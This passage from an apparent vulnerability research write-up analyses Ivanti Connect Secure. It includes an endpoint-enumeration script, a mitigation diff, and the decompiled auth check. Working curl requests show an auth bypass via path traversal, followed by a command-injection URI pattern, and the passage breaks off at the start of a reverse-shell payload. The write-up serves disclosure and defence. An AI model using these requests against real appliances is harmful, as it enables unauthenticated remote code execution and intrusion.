ached/cc/\",\r\n\t\"/dana-cached/css/\",\r\n\t\"/dana-cached/ep/\",\r\n\t\"/dana-cached/fb/\",\r\n\t\"/dana-cached/fb/nfs/nfv.cgi\",\r\n\t\"/dana-cached/fb/smb/wfv.cgi\",\r\n\t\"/dana-cached/hc/\",\r\n\t\"/dana-cached/imgs/\",\r\n\t\"/dana-cached/js/shimdata.cgi\",\r\n\t\"/dana-cached/psal/\",\r\n\t\"/dana-cached/remediation/\",\r\n\t\"/dana-cached/sc/\",\r\n\t\"/dana-cached/sc/PulseInstallerServiceVersion.txt\",\r\n\t\"/dana-cached/setup/\",\r\n\t\"/dana-cached/term/\",\r\n\t\"/dana-cached/themes/\",\r\n\t\"/dana-cached/webapplets\",\r\n\t\"/dana-cached/ws/\",\r\n\t\"/dana-html5acc\",\r\n\t\"/dana-html5bssl\",\r\n\t\"/dana-na\",\r\n\t\"/dana-na/\",\r\n\t\"/dana-na/auth\",\r\n\t\"/dana-na/auth/\",\r\n\t\"/dana-na/auth/AAAAAAAA/welcome.cgi\",\r\n\t\"/dana-na/auth/AAAAAAAA/welcome.cgi?p=no-access\",\r\n\t\"/dana-na/auth/AAAAAAAA/welcome.cgi?p=ssl-weak\",\r\n\t\"/dana-na/auth/AAAAAAAA/welcome.cgi?p=timed-out\",\r\n\t\"/dana-na/auth/AAAAAAAAAAAAAAAA/welcome.cgi\",\r\n\t\"/dana-na/auth/logout.cgi\",\r\n\t\"/dana-na/auth/recover.cgi\",\r\n\t\"/dana-na/auth/restAuth.cgi\",\r\n\t\"/dana-na/auth/saml-sso.cgi\",\r\n\t\"/dana-na/auth/welcome.\",\r\n\t\"/dana-na/auth/welcome.cgi?p=denied-checkhostname\",\r\n\t\"/dana-na/auth/welcome.cgi?p=forced-off\",\r\n\t\"/dana-na/auth/welcome.cgi?p=ssl-renego\",\r\n\t\"/dana-na/auth/welcome.cgi?p=timed-out\",\r\n\t\"/dana-na/auth/welcome.cgi?p=user-unknown\",\r\n\t\"/dana-na/css/\",\r\n\t\"/dana-na/healthcheck/healthcheck.cgi\",\r\n\t\"/dana-na/html/blank.html\",\r\n\t\"/dana-na/imgs/\",\r\n\t\"/dana-na/meeting/\",\r\n\t\"/dana-na/meeting/AAAAAAAAAAAAAAAA/login_meeting.cgi\",\r\n\t\"/dana-na/meeting/login_meeting.cgi\",\r\n\t\"/dana-na/nc/nc_gina_ver.txt\",\r\n\t\"/dana-na/neoteriswatchdogprocess/ping\",\r\n\t\"/dana-na/setup/psalinstall.cgi\",\r\n\t\"/dana-na/ws/\",\r\n\t\"/dana-ws/metric/\",\r\n\t\"/dana-ws/namedusers/\",\r\n\t\"/dana-ws/namedusers/PCS\",\r\n\t\"/dana-ws/namedusers/PPS\",\r\n\t\"/dana-ws/saml.ws\",\r\n\t\"/dana-ws/saml20.ws\",\r\n\t\"/dana-ws/samlecp.ws\",\r\n\t\"/dana-ws/soap/\",\r\n\t\"/dana-ws/soap/dsifmap\",\r\n\t\"/dana/\",\r\n\t\"/dana/asm/asmrun.cgi?ppc_wsam_not_installed\",\r\n\t\"/dana/cs/cs.cgi\",\r\n\t\"/dana/cs/cs_add.cgi\",\r\n\t\"/dana/cs/csdbg.cgi\",\r\n\t\"/dana/cs/jsammessages\",\r\n\t\"/dana/download\",\r\n\t\"/dana/download/\",\r\n\t\"/dana/error/AccessBlocked.msg\",\r\n\t\"/dana/error/BadCgiOutput.msg\",\r\n\t\"/dana/error/BadContent.msg\",\r\n\t\"/dana/error/CannotConnect.msg\",\r\n\t\"/dana/error/CannotReadFromOrigServer.msg\",\r\n\t\"/dana/error/CgiDied.msg\",\r\n\t\"/dana/error/CgiFailed.msg\",\r\n\t\"/dana/error/CgiNotExecutable.msg\",\r\n\t\"/dana/error/ExcessiveRequestSize.msg\",\r\n\t\"/dana/error/FormPostAutoRedirect.msg\",\r\n\t\"/dana/error/FormPostBlocked.msg\",\r\n\t\"/dana/error/InternalError.msg\",\r\n\t\"/dana/error/InvalidContentLength.msg\",\r\n\t\"/dana/error/InvalidHostHeader.msg\",\r\n\t\"/dana/error/InvalidOnBoardingURL.msg\",\r\n\t\"/dana/error/InvalidPath.msg\",\r\n\t\"/dana/error/InvalidPathDisallowedChars.msg\",\r\n\t\"/dana/error/InvalidSSLSiteConfirm.msg\",\r\n\t\"/dana/error/InvalidSSLSiteDisabled.msg\",\r\n\t\"/dana/error/MethodDisallowed.msg\",\r\n\t\"/dana/error/NTLMFail.msg\",\r\n\t\"/dana/error/NewSSLConnFail.msg\",\r\n\t\"/dana/error/OutOfDescriptors.msg\",\r\n\t\"/dana/error/PageNotFound.msg\",\r\n\t\"/dana/error/PlatformNotSupported.msg\",\r\n\t\"/dana/error/ResolveHostnameFail.msg\",\r\n\t\"/dana/error/RewritingBlocked.msg\",\r\n\t\"/dana/error/TooManyOnboardRequest.msg\",\r\n\t\"/dana/error/UserLoginYellowBarMessage.msg\",\r\n\t\"/dana/error/WebProxyProcessFail.msg\",\r\n\t\"/dana/error/WebSSOFailed.msg\",\r\n\t\"/dana/error/finishReadingPostBody.msg\",\r\n\t\"/dana/fb/\",\r\n\t\"/dana/fb/nfs/addnsh.cgi\",\r\n\t\"/dana/fb/nfs/nfb.cgi\",\r\n\t\"/dana/fb/nfs/nfmd.cgi\",\r\n\t\"/dana/fb/nfs/nnf.cgi\",\r\n\t\"/dana/fb/nfs/nu.cgi\",\r\n\t\"/dana/fb/nfs/snsrv.cgi\",\r\n\t\"/dana/fb/smb\",\r\n\t\"/dana/fb/smb/addwsh.cgi\",\r\n\t\"/dana/fb/smb/rd.cgi\",\r\n\t\"/dana/fb/smb/swg.cgi\",\r\n\t\"/dana/fb/smb/wfb.cgi\",\r\n\t\"/dana/fb/smb/wfmd.cgi\",\r\n\t\"/dana/fb/smb/wnf.cgi\",\r\n\t\"/dana/fb/smb/wu.cgi\",\r\n\t\"/dana/home\",\r\n\t\"/dana/home/activexparams.cgi\",\r\n\t\"/dana/home/applaunchtoken.cgi\",\r\n\t\"/dana/home/editbk.cgi\",\r\n\t\"/dana/home/getProfileSecure.cgi\",\r\n\t\"/dana/home/homepage.cgi\",\r\n\t\"/dana/home/index.cgi\",\r\n\t\"/dana/home/index_data.cgi\",\r\n\t\"/dana/home/infranet.cgi\",\r\n\t\"/dana/home/infranet_data.cgi\",\r\n\t\"/dana/home/installfailed.cgi\",\r\n\t\"/dana/home/launch.cgi\",\r\n\t\"/dana/home/launch.cgi?\",\r\n\t\"/dana/home/netehpl.cgi\",\r\n\t\"/dana/home/netestarter.cgi?url=\",\r\n\t\"/dana/home/norefr.cgi\",\r\n\t\"/dana/home/onboarding.cgi\",\r\n\t\"/dana/home/onboarding_device.cgi\",\r\n\t\"/dana/home/panelpref.cgi\",\r\n\t\"/dana/home/psalwait.cgi\",\r\n\t\"/dana/home/starter.cgi\",\r\n\t\"/dana/home/starter.cgi?startpageonly=1\",\r\n\t\"/dana/home/starter0\",\r\n\t\"/dana/html5acc/guacamole/\",\r\n\t\"/dana/j\",\r\n\t\"/dana/jr?\",\r\n\t\"/dana/js\",\r\n\t\"/dana/js?\",\r\n\t\"/dana/jw?\",\r\n\t\"/dana/jz?\",\r\n\t\"/dana/pref/advpref.cgi\",\r\n\t\"/dana/pref/applications.cgi\",\r\n\t\"/dana/pref/pref.cgi\",\r\n\t\"/dana/pref/useradm.cgi\",\r\n\t\"/dana/pref/userhome.cgi\",\r\n\t\"/dana/psalbrowser-extension/\",\r\n\t\"/dana/term\",\r\n\t\"/dana/term/addhtml5acc.cgi\",\r\n\t\"/dana/term/winaddterm.cgi\",\r\n\t\"/dana/term/winlaunchterm.cgi\",\r\n\t\"/dana/uploadlog/uploadlog.cgi\",\r\n\t\"/dana/user/\",\r\n]\r\n\r\ntarget = 'https://192.168.86.111'\r\n\r\nHTTParty::Basement.default_options.update(verify: false)\r\n\r\nendpoints.each do |endpoint|\r\n\r\n\tendpoint.gsub!(/(<\\S+>)/, 'A' * 32 )\r\n\r\n\tbegin\r\n\t\tresponse = HTTParty.get(\"#{target}#{endpoint}\",follow_redirects: false)\r\n\t\t\r\n\t\tp \"GET, #{response.code}, #{endpoint}\"\r\n\trescue\r\n\t\tp \"GET, timeout, #{endpoint}\"\t\r\n\tend\r\n\t\r\n\tbegin\t\r\n\t\tresponse = HTTParty.post(\"#{target}#{endpoint}\",follow_redirects: false)\r\n\t\t\r\n\t\tp \"POST, #{response.code}, #{endpoint}\"\r\n\trescue\r\n\t\tp \"POST, timeout, #{endpoint}\"\t\r\n\tend\r\n\t\r\n\tbegin\t\r\n\t\tresponse = HTTParty.put(\"#{target}#{endpoint}\",follow_redirects: false)\r\n\t\t\r\n\t\tp \"PUT, #{response.code}, #{endpoint}\"\r\n\trescue\r\n\t\tp \"PUT, timeout, #{endpoint}\"\t\r\n\tend\r\n\t\r\n\tbegin\t\r\n\t\tresponse = HTTParty.delete(\"#{target}#{endpoint}\",follow_redirects: false)\r\n\t\t\r\n\t\tp \"DELETE, #{response.code}, #{endpoint}\"\r\n\trescue\r\n\t\tp \"DELETE, timeout, #{endpoint}\"\t\r\n\tend\r\nend\r\n```\r\n\r\nWe run this script twice, first against an instance of Ivanti Connect Secure that does not have the mitigation file applied, and a second time against an instance of Ivanti Connect Secure that does have the mitigation file applied. Comparing the results of these two files shows the following:\r\n\r\n```diff\r\ndiff --git a/all_endpoints_no_mitigation.txt b/all_endpoints_yes_mitigation.txt\r\nindex 0411078..c7c8111 100644\r\n--- a/all_endpoints_no_mitigation.txt\r\n+++ b/all_endpoints_yes_mitigation.txt\r\n@@ -22,10 +22,10 @@\r\n \"POST, 403, /api/private/v1/controller-changeset\"\r\n \"PUT, 403, /api/private/v1/controller-changeset\"\r\n \"DELETE, 403, /api/private/v1/controller-changeset\"\r\n-\"GET, 302, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n-\"POST, 302, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n-\"PUT, 302, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n-\"DELETE, 302, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n+\"GET, 403, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n+\"POST, 403, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n+\"PUT, 403, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n+\"DELETE, 403, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n \"GET, 403, /api/private/v1/totp/server-status\"\r\n \"POST, 403, /api/private/v1/totp/server-status\"\r\n \"PUT, 403, /api/private/v1/totp/server-status\"\r\n@@ -38,30 +38,30 @@\r\n \"POST, 403, /api/private/v1/totp/user-login\"\r\n \"PUT, 403, /api/private/v1/totp/user-login\"\r\n \"DELETE, 403, /api/private/v1/totp/user-login\"\r\n-\"GET, 302, /api/v1/\"\r\n-\"POST, 302, /api/v1/\"\r\n-\"PUT, 302, /api/v1/\"\r\n-\"DELETE, 302, /api/v1/\"\r\n+\"GET, 403, /api/v1/\"\r\n+\"POST, 403, /api/v1/\"\r\n+\"PUT, 403, /api/v1/\"\r\n+\"DELETE, 403, /api/v1/\"\r\n \"GET, 403, /api/v1/auth\"\r\n \"POST, 403, /api/v1/auth\"\r\n \"PUT, 403, /api/v1/auth\"\r\n \"DELETE, 403, /api/v1/auth\"\r\n-\"GET, 302, /api/v1/cav\"\r\n-\"POST, 302, /api/v1/cav\"\r\n-\"PUT, 302, /api/v1/cav\"\r\n-\"DELETE, 302, /api/v1/cav\"\r\n-\"GET, 302, /api/v1/cav/\"\r\n-\"POST, 302, /api/v1/cav/\"\r\n-\"PUT, 302, /api/v1/cav/\"\r\n-\"DELETE, 302, /api/v1/cav/\"\r\n-\"GET, 404, /api/v1/cav/client/\"\r\n-\"POST, 404, /api/v1/cav/client/\"\r\n-\"PUT, 404, /api/v1/cav/client/\"\r\n-\"DELETE, 404, /api/v1/cav/client/\"\r\n-\"GET, 302, /api/v1/cav/client/auth_token\"\r\n-\"POST, 302, /api/v1/cav/client/auth_token\"\r\n-\"PUT, 302, /api/v1/cav/client/auth_token\"\r\n-\"DELETE, 302, /api/v1/cav/client/auth_token\"\r\n+\"GET, 403, /api/v1/cav\"\r\n+\"POST, 403, /api/v1/cav\"\r\n+\"PUT, 403, /api/v1/cav\"\r\n+\"DELETE, 403, /api/v1/cav\"\r\n+\"GET, 403, /api/v1/cav/\"\r\n+\"POST, 403, /api/v1/cav/\"\r\n+\"PUT, 403, /api/v1/cav/\"\r\n+\"DELETE, 403, /api/v1/cav/\"\r\n+\"GET, 403, /api/v1/cav/client/\"\r\n+\"POST, 403, /api/v1/cav/client/\"\r\n+\"PUT, 403, /api/v1/cav/client/\"\r\n+\"DELETE, 403, /api/v1/cav/client/\"\r\n+\"GET, 403, /api/v1/cav/client/auth_token\"\r\n+\"POST, 403, /api/v1/cav/client/auth_token\"\r\n+\"PUT, 403, /api/v1/cav/client/auth_token\"\r\n+\"DELETE, 403, /api/v1/cav/client/auth_token\"\r\n \"GET, 403, /api/v1/cluster\"\r\n \"POST, 403, /api/v1/cluster\"\r\n \"PUT, 403, /api/v1/cluster\"\r\n@@ -94,10 +94,10 @@\r\n \"POST, 403, /api/v1/dsintegration\"\r\n \"PUT, 403, /api/v1/dsintegration\"\r\n \"DELETE, 403, /api/v1/dsintegration\"\r\n-\"GET, 302, /api/v1/enduser\"\r\n-\"POST, 302, /api/v1/enduser\"\r\n-\"PUT, 302, /api/v1/enduser\"\r\n-\"DELETE, 302, /api/v1/enduser\"\r\n+\"GET, 403, /api/v1/enduser\"\r\n+\"POST, 403, /api/v1/enduser\"\r\n+\"PUT, 403, /api/v1/enduser\"\r\n+\"DELETE, 403, /api/v1/enduser\"\r\n \"GET, 302, /api/v1/enduser/autolaunch-client-apps\"\r\n \"POST, 302, /api/v1/enduser/autolaunch-client-apps\"\r\n \"PUT, 302, /api/v1/enduser/autolaunch-client-apps\"\r\n@@ -186,22 +186,22 @@\r\n \"POST, 302, /api/v1/enduser/fb/win-zip-download\"\r\n \"PUT, 302, /api/v1/enduser/fb/win-zip-download\"\r\n \"DELETE, 302, /api/v1/enduser/fb/win-zip-download\"\r\n-\"GET, 302, /api/v1/enduser/full\"\r\n-\"POST, 302, /api/v1/enduser/full\"\r\n-\"PUT, 302, /api/v1/enduser/full\"\r\n-\"DELETE, 302, /api/v1/enduser/full\"\r\n+\"GET, 403, /api/v1/enduser/full\"\r\n+\"POST, 403, /api/v1/enduser/full\"\r\n+\"PUT, 403, /api/v1/enduser/full\"\r\n+\"DELETE, 403, /api/v1/enduser/full\"\r\n \"GET, 302, /api/v1/enduser/heartbeat\"\r\n \"POST, 302, /api/v1/enduser/heartbeat\"\r\n \"PUT, 302, /api/v1/enduser/heartbeat\"\r\n \"DELETE, 302, /api/v1/enduser/heartbeat\"\r\n-\"GET, 302, /api/v1/enduser/host-resolve-status\"\r\n-\"POST, 302, /api/v1/enduser/host-resolve-status\"\r\n-\"PUT, 302, /api/v1/enduser/host-resolve-status\"\r\n-\"DELETE, 302, /api/v1/enduser/host-resolve-status\"\r\n-\"GET, 302, /api/v1/enduser/html5-remote-desktop-launcher\"\r\n-\"POST, 302, /api/v1/enduser/html5-remote-desktop-launcher\"\r\n-\"PUT, 302, /api/v1/enduser/html5-remote-desktop-launcher\"\r\n-\"DELETE, 302, /api/v1/enduser/html5-remote-desktop-launcher\"\r\n+\"GET, 403, /api/v1/enduser/host-resolve-status\"\r\n+\"POST, 403, /api/v1/enduser/host-resolve-status\"\r\n+\"PUT, 403, /api/v1/enduser/host-resolve-status\"\r\n+\"DELETE, 403, /api/v1/enduser/host-resolve-status\"\r\n+\"GET, 403, /api/v1/enduser/html5-remote-desktop-launcher\"\r\n+\"POST, 403, /api/v1/enduser/html5-remote-desktop-launcher\"\r\n+\"PUT, 403, /api/v1/enduser/html5-remote-desktop-launcher\"\r\n+\"DELETE, 403, /api/v1/enduser/html5-remote-desktop-launcher\"\r\n \"GET, 302, /api/v1/enduser/jsam/apps-reorder\"\r\n \"POST, 302, /api/v1/enduser/jsam/apps-reorder\"\r\n \"PUT, 302, /api/v1/enduser/jsam/apps-reorder\"\r\n@@ -418,10 +418,10 @@\r\n \"POST, 403, /api/v1/logs/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n \"PUT, 403, /api/v1/logs/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n \"DELETE, 403, /api/v1/logs/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n-\"GET, 302, /api/v1/metrics\"\r\n-\"POST, 302, /api/v1/metrics\"\r\n-\"PUT, 302, /api/v1/metrics\"\r\n-\"DELETE, 302, /api/v1/metrics\"\r\n+\"GET, 403, /api/v1/metrics\"\r\n+\"POST, 403, /api/v1/metrics\"\r\n+\"PUT, 403, /api/v1/metrics\"\r\n+\"DELETE, 403, /api/v1/metrics\"\r\n \"GET, 403, /api/v1/network\"\r\n \"POST, 403, /api/v1/network\"\r\n \"PUT, 403, /api/v1/network\"\r\n@@ -486,10 +486,10 @@\r\n \"POST, 403, /api/v1/realm_auth\"\r\n \"PUT, 403, /api/v1/realm_auth\"\r\n \"DELETE, 403, /api/v1/realm_auth\"\r\n-\"GET, 302, /api/v1/saml-\"\r\n-\"POST, 302, /api/v1/saml-\"\r\n-\"PUT, 302, /api/v1/saml-\"\r\n-\"DELETE, 302, /api/v1/saml-\"\r\n+\"GET, 403, /api/v1/saml-\"\r\n+\"POST, 403, /api/v1/saml-\"\r\n+\"PUT, 403, /api/v1/saml-\"\r\n+\"DELETE, 403, /api/v1/saml-\"\r\n \"GET, 403, /api/v1/saml-config/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/download-metadata\"\r\n \"POST, 403, /api/v1/saml-config/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/download-metadata\"\r\n \"PUT, 403, /api/v1/saml-config/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/download-metadata\"\r\n@@ -510,10 +510,10 @@\r\n \"POST, 403, /api/v1/saml-config/sp\"\r\n \"PUT, 403, /api/v1/saml-config/sp\"\r\n \"DELETE, 403, /api/v1/saml-config/sp\"\r\n-\"GET, 302, /api/v1/sdpotp\"\r\n-\"POST, 302, /api/v1/sdpotp\"\r\n-\"PUT, 302, /api/v1/sdpotp\"\r\n-\"DELETE, 302, /api/v1/sdpotp\"\r\n+\"GET, 403, /api/v1/sdpotp\"\r\n+\"POST, 403, /api/v1/sdpotp\"\r\n+\"PUT, 403, /api/v1/sdpotp\"\r\n+\"DELETE, 403, /api/v1/sdpotp\"\r\n \"GET, 403, /api/v1/snmp/download-mib\"\r\n \"POST, 403, /api/v1/snmp/download-mib\"\r\n \"PUT, 403, /api/v1/snmp/download-mib\"\r\n@@ -682,10 +682,10 @@\r\n \"POST, 403, /api/v1/system/failed-login-count\"\r\n \"PUT, 403, /api/v1/system/failed-login-count\"\r\n \"DELETE, 403, /api/v1/system/failed-login-count\"\r\n-\"GET, 200, /api/v1/system/healthcheck\"\r\n-\"POST, 200, /api/v1/system/healthcheck\"\r\n-\"PUT, 200, /api/v1/system/healthcheck\"\r\n-\"DELETE, 200, /api/v1/system/healthcheck\"\r\n+\"GET, 403, /api/v1/system/healthcheck\"\r\n+\"POST, 403, /api/v1/system/healthcheck\"\r\n+\"PUT, 403, /api/v1/system/healthcheck\"\r\n+\"DELETE, 403, /api/v1/system/healthcheck\"\r\n \"GET, 403, /api/v1/system/ifmap/imported-sessions\"\r\n \"POST, 403, /api/v1/system/ifmap/imported-sessions\"\r\n \"PUT, 403, /api/v1/system/ifmap/imported-sessions\"\r\n@@ -830,10 +830,10 @@\r\n \"POST, 403, /api/v1/totp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/\"\r\n \"PUT, 403, /api/v1/totp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/\"\r\n \"DELETE, 403, /api/v1/totp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/\"\r\n-\"GET, 405, /api/v1/totp/user-backup-code\"\r\n-\"POST, 500, /api/v1/totp/user-backup-code\"\r\n-\"PUT, 405, /api/v1/totp/user-backup-code\"\r\n-\"DELETE, 405, /api/v1/totp/user-backup-code\"\r\n+\"GET, 403, /api/v1/totp/user-backup-code\"\r\n+\"POST, 403, /api/v1/totp/user-backup-code\"\r\n+\"PUT, 403, /api/v1/totp/user-backup-code\"\r\n+\"DELETE, 403, /api/v1/totp/user-backup-code\"\r\n \"GET, 403, /api/v1/ueba/\"\r\n \"POST, 403, /api/v1/ueba/\"\r\n \"PUT, 403, /api/v1/ueba/\"\r\n```\r\n\r\nOf the 376 URI paths pulled from the web and REST servers, 15 have a different HTTP response after the mitigation has been applied, and all are located in the REST API. So we will focus our attention on the Python based REST API service.\r\n\r\nAfter investigating several of the endpoints that returned a different HTTP response, we focus on the endpoint `/api/v1/totp/user-backup-code`. The native code web server has a function `doAuthCheck` that will test a URI to see if authentication needs to be performed, before the request is served. We can see that several paths do not need authentication. Of note is the use of a `strncmp`, which will only check the first N characters of the path. This means that a path that begins with `/api/v1/totp/user-backup-code` will not have authentication enforced, and this path can also contain additional characters appended to it, all of which will be passed to the Python backend REST service when the request is proxied.\r\n\r\n```c\r\n// web!doAuthCheck\r\nbool __cdecl doAuthCheck(DSLog::Debug *a1, unsigned int *a2)\r\n{\r\n  // ...snip...\r\n  uri_path = a1->uri_path;\r\n  if ( !strncmp((const char *)uri_path, \"/api/v1/ueba/\", 0xDu)\r\n    || !strncmp((const char *)uri_path, \"/api/v1/integration/\", 0x14u)\r\n    || !strncmp((const char *)uri_path, \"/api/v1/dsintegration\", 0x15u)\r\n    || !strncmp((const char *)uri_path, \"/api/v1/pps/action/\", 0x13u)\r\n    || !strncmp((const char *)uri_path, \"/api/my-session\", 0xFu)\r\n    || !strncmp((const char *)uri_path, \"/api/v1/totp/user-backup-code\", 0x1Du) // <---\r\n    || !strncmp((const char *)uri_path, \"/api/v1/esapdata\", 0x10u)\r\n    || !strncmp((const char *)uri_path, \"/api/v1/sessions\", 0x10u)\r\n    || !strncmp((const char *)uri_path, \"/api/v1/tasks\", 0xDu)\r\n    || !strncmp((const char *)uri_path, \"/api/v1/gateways\", 0x10u)\r\n    || !strncmp((const char *)uri_path, \"/_/api/aaa\", 0xAu)\r\n    || !strncmp((const char *)uri_path, \"/api/v1/oidc\", 0xCu) )\r\n  {\r\n    return 1; // <---\r\n  }\r\n  // ...go on and enforce authentication...\r\n```\r\n\r\nAdditional authentication checks appear to occur in the function `PyRestHandler::handleRequest`, but not for the path `/api/v1/totp/user-backup-code`.\r\n\r\nKnowing we can reach the internal Python REST service by requesting the unauthenticated `/api/v1/totp/user-backup-code` endpoint, and knowing we can also supply additional characters in the path, all of which will be passed to the Python Flask application, we can experiment with trying to access other resources located in the Flask application by using double dot notation. It transpires that we can access any resource in the Flask application using this technique, bypassing any authentication checks in the native web server.\r\n\r\nTo test the auth bypass we first try to access the authenticated REST API endpoint `/api/v1/system/system-information` while providing neither an authentication cookie nor a valid API key. As expected, this request will fail with a HTTP 403 forbidden error.\r\n\r\n```bash\r\n$ curl -ik https://192.168.86.111/api/v1/system/system-information\r\nHTTP/1.1 403 Forbidden\r\nTransfer-Encoding: chunked\r\nX-XSS-Protection: 1\r\nStrict-Transport-Security: max-age=31536000\r\n```\r\n\r\nNext we can access our target endpoint via the auth bypass technique, by using a URI path of `/api/v1/totp/user-backup-code/../../system/system-information`. We can see this request will succeed, returning the system information.\r\n\r\n```bash\r\n$ curl -ik --path-as-is https://192.168.86.111/api/v1/totp/user-backup-code/../../system/system-information\r\nHTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: 297\r\n\r\n{\"software-inventory\":{\"software\":{\"build\":\"1647\",\"name\":\"IVE-OS\",\"type\":\"operating-system\",\"version\":\"22.3R1\"}},\"system-information\":{\"hardware-model\":\"ISA-V\",\"host-name\":\"localhost2\",\"machine-id\":\"*****************\",\"os-name\":\"ive-sa\",\"os-version\":\"22.3R1\",\"serial-number\":\"*****************\"}}\r\n```\r\n\r\nWe can now access any endpoint in the Python REST backend, and can begin to search for a suitable authenticated command injection vulnerability to chain to this auth bypass to, in order to achieve unauthenticated RCE.\r\n\r\n## Injecting Commands\r\nAs we are hunting for a command injection vulnerability, and we are targeting a Python service, a good candidate to search for is the usage of `Popen` and `system` function calls. These functions allow for the creation of a child process with caller supplied arguments and are often the cause of command injection vulnerabilities in Python applications. \r\n\r\nThe REST service implements the logic for its endpoints in the `restservice-0.1-py3.6.egg` file, so we can extract this and grep for candidates to go bug hunting in.\r\n\r\n```bash\r\n$ unzip ics_disk1/root/home/venv3/lib/python3.6/site-packages/restservice-0.1-py3.6.egg -d restservice-0.1\r\n$ cd restservice-0.1/\r\nrestservice-0.1$ grep -r Popen --include=*.py\r\nrestservice/api/resources/config.py:        proc = subprocess.Popen(\r\nrestservice/api/resources/config.py:        proc = subprocess.Popen(args, stdout=subprocess.PIPE)\r\nrestservice/api/resources/config.py:        proc = subprocess.Popen(popen_args, stdout=subprocess.PIPE)\r\nrestservice/api/resources/localbackupsysconfiganduseracc.py:        proc = subprocess.Popen(\r\nrestservice/api/resources/localbackupsysconfiganduseracc.py:                    proc = subprocess.Popen(\r\nrestservice/api/resources/localbackupsysconfiganduseracc.py:        proc = subprocess.Popen(\r\nrestservice/api/resources/controller.py:        proc = subprocess.Popen(\r\nrestservice/api/resources/controller.py:        proc = subprocess.Popen(\r\nrestservice/api/resources/exportxml.py:        proc = subprocess.Popen(popen_args, stdout=subprocess.PIPE)\r\nrestservice/api/resources/webprofile.py:        proc = subprocess.Popen(\r\nrestservice/api/resources/webprofile.py:        cabbase_proc = subprocess.Popen(\r\nrestservice/api/resources/awsazuretestconnection.py:                    proc = subprocess.Popen(\r\nrestservice/api/resources/html5.py:        # proc = subprocess.Popen(smbClientCmd, shell=True, stdout=subprocess.PIPE)\r\nrestservice/api/resources/nsaregistration.py:                proc = subprocess.Popen(\r\nrestservice/api/resources/exportuniversalxml.py:        proc = subprocess.Popen(popen_args, stdout=subprocess.PIPE)\r\nrestservice/api/resources/license.py:        proc = subprocess.Popen(\r\nrestservice/api/resources/license.py:                proc = subprocess.Popen(\r\nrestservice/api/resources/license.py:            proc = subprocess.Popen(\r\nrestservice/api/resources/license.py:            proc = subprocess.Popen(\r\nrestservice/api/resources/license.py:            proc = subprocess.Popen(\r\n```\r\n\r\nReviewing the 20 results that come back we identify several usages of `Popen` whereby the command passed to `Popen` is constructed from a sequence of `+` operators which concatenate the strings together. `Popen` can alternatively take an array of arguments rather than a single string, and some of the results from our grepping above use this form, which is generally safe from command injection (but not necessarily argument injection).\r\n\r\nWe identified two authenticated command injection vulnerabilities, both of which are likely candidates for CVE-2024-21887. We have verified that both vulnerabilities are prevented from working when the vendor supplied mitigation is applied.\r\n### First Command Injection\r\nOf the instances of `Popen` that concatenate their command string together, we identify the `get` method in the file `restservice/api/resources/license.py` which handles requests for the endpoint `/api/v1/license/keys-status`. \r\n\r\n```py\r\nclass License(Resource):\r\n    \"\"\"\r\n    Handles requests that are coming for licensing APIs\r\n    For now the only API is license/auth-code\r\n    \"\"\"\r\n\r\n    # ...snip...\r\n\r\n    def get(self, url_suffix=None, node_name=None):\r\n        if request.path.startswith(\"/api/v1/license/keys-status\"):\r\n            try:\r\n                dsinstall = os.environ.get(\"DSINSTALL\")\r\n                if node_name == None:\r\n                    node_name = \"\"\r\n                proc = subprocess.Popen(\r\n                    dsinstall\r\n                    + \"/perl5/bin/perl\"\r\n                    + \" \"\r\n                    + dsinstall\r\n                    + \"/perl/getLicenseCapacity.pl\"\r\n                    + \" getLicenseKeys \"\r\n                    + node_name, # <---\r\n                    shell=True,\r\n                    stdout=subprocess.PIPE,\r\n                )\r\n```\r\n\r\nIf an attacker can supply an arbitrary `node_name` value, then command injection can be achieved. As this is a Flask application, we look to see how these endpoints are mapped by inspecting `restservice\\api\\__init__.py`.\r\n\r\n```py\r\nimport logging\r\n\r\nfrom flask import Flask\r\nfrom flask_restful import Api\r\nfrom logger.logger import Logger\r\nfrom logger.proxyhandler import ProxyHandler\r\n\r\napp = Flask(__name__)\r\napp.logger.setLevel(logging.DEBUG)\r\napp.logger.addHandler(ProxyHandler(\"CONFIG:API:APP\"))\r\n\r\nive_logger = Logger()\r\n\r\napi = Api(app)\r\n\r\n# ...snip...\r\n\r\napi.add_resource(\r\n    License,\r\n    # ...snip...\r\n    \"/api/v1/license/keys-status\",\r\n    \"/api/v1/license/keys-status/<path:node_name>\", # <---\r\n    # ...snip...\r\n    resource_class_kwargs={\"ive_logger\": ive_logger},\r\n)\r\n\r\n# ...snip...\r\n```\r\n\r\nWe can see the parameter `node_name` is automatically mapped from the trailing path segment in the request’s URI path `/api/v1/license/keys-status/<path:node_name>`. We can therefore achieve an unauthenticated command injection by performing a GET request to the URI path `/api/v1/totp/user-backup-code/../../license/keys-status/;CMD;`, (where CMD is an arbitrary linux OS command).\r\n\r\nBy using the semicolon character we can specify an arbitrary command to execute during `Popen`. As we are passing the arbitrary command as part of the URI in the GET request, we must URL encode our payload. For example a Python based [reverse shell payload](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#python):\r\n\r\n```bash\r\n;python -c 